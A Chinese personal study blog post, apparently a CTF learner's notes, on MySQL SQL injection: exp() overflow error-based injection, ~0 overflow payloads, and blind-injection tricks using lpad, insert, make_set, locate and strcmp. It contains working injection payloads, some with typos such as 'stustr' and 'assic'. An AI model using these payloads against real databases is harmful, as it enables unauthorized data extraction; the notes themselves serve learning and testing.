0x00前言
翻阅大佬的学习记录,居然发现,我在过去的某个时间段还领先他几个月的学习量,而现在却物是人非😅。这可能就说明,人与人的差距更多体现在努力而不是天赋方面了吧,所以,作为菜狗的我,从今天起也要keep学习😭。天知道上个学期,我学了一些什么,总是想太多,而做太少,哎,继续keep吧。
0x01 查漏补缺
exp()报错注入
很可惜,经过大佬测试,只适用于mysql5.5.5-5.5.48
exp()函数返回的是e的x次方,但当x大于709时,就会产生一个溢出错误。除此以外,对数字0按位取反~0
会产生一个最大的符号BIGINT值
,即 18446744073709551615
,显然,这个数字足够大,能够让exp发生错误。
与此同时,查询语句成功执行后,也会返回0,所以这就给了我们一个报错注入的思路:对查询语句的结果进行取反,然后使用exp函数,达成报错,具体如下:
这里必须是select * from(你的查询语句)x
这种嵌套查询,不知道为什么,可能是这样返回值才是0吧。
其实这里利用的时数据溢出,与此同理的还有pow()
、floor()
等数学函数,另外,对~0
进行运算依然可以溢出,这样我们甚至可以不需要数学函数,所以我们有下面的payload:
!(select*from(select user())x)-~0 #即!0-(~0)
(select(!x-~0)from(select(select user())x)a)
(select!x-~0.from(select(select user())x)a)
具体使用起来:
select username, passwordfrom users where id='1' or !(select*from(select user())x)-~0;
case when condition then 1 else 0 end
用来代替if,第一次看到,就记一下
admin' case when (ascii(stustr((select database()), 1, 1) regexp 97) then 1 else 0 end
盲注可能用的上的函数
stustr
就不说了
SUBSTRING(string, start, length)
#多种格式SUBSTRING(str,pos)、SUBSTRING(str FROM pos)、SUBSTRING(str,pos,len)、SUBSTRING(str FROM pos FOR len)
RIGHT(str,len)
LEFT(str,len)
MID(str,pos,len)#和substring类似
lpad
还有一些不常见的(指菜狗本人没见过)
lpad(str, len, padstr)
rpad(str, len, padstr)#一左一右
本来是用来填充的,即lpad("hi",5,"c") -->ccchi
但当len的长度小于str时,就会返回长度为len的字符串,即lpad(user(),1,'a')--->r
(假设用户为root),所以这个函数是很适合跑盲注脚本的。
insert
INSERT(str,pos,len,newstr)
虽然他叫insert,可是他干的事就根本不和插入沾边(和我一样每天正事不干),我觉得他叫替换还差不多:从str的pos位置起,到长度为len的位置, 用newstr替换。
但是我们可以使用INSERT(str,len,1,0x0)
来截取,但是他的返回值是替换后的字符串,假设我们现在的数据库(database())是mysql,则
insert(database(), 2, 100, 0x00) #得到的是m
insert(database(), 3, 100, 0x00)#得到的是my ,到这里你应该会写脚本了
make_set
MAKE_SET(2,'hello','nice','world');
#得到的是"nice"
#类似的函数是ELT
过程如下:首先将2转换为二进制:0010
,然后逆转0100
,依次对应,0不输出,1输出,所以就输出了’nice’。我们可以利用这个函数来进行布尔盲注:
-1||exp(make_set((assic(substr(database(),1,1))=97)+1, 710, 1)
结合上文讲的exp函数就知道为什么要加1了,如果我们猜对了,就会返回1,然后加1就是2,这样就会变成exp(1);相反的,如果猜错了,就会返回0,0+1=1,exp(make_set(1,…))会变成exp(710),错误。以上即实现了布尔盲注。
locate
LOCATE('st','myteststring'); # > 5 返回第一次出现的位置
LOCATE('st','myteststring',6); # > 7 返回从位置6后第一次出现的位置
#类似的函数是POSITION
乍一看,没什么用,但是和别的函数组合组合,就有作用了
strcmp(locate('a',(select database()),1),1) #-1
strcmp(locate('b',(select database()),1),1) #-1
#...
strcmp(locate('m',(select database()),1),1)#0
strcmp(locate('y',(select database()),2),2)#0
这样就可以构造布尔盲注了,我们给返回值加一(对了为1,错了为0),然后就可以写脚本了。
或者我们继续借助make_set和exp函数:
0||exp(make_set(strcmp(locate('y',(select database()),2),2), 710,1))#
这里猜对了,虽然会变成make_set(0,..),这样好像会返回0x00,然后exp(0x00)=1;如果猜错了,make_set(-1,..)会返回710,1
,不知道这个在exp里面怎么处理的(大概是取第一个数字吧),总之就是报错了,但我直接exp((710,1))不行。
其实还有很多,但是我不想写了,哈哈 ,下次有空再补,下次一定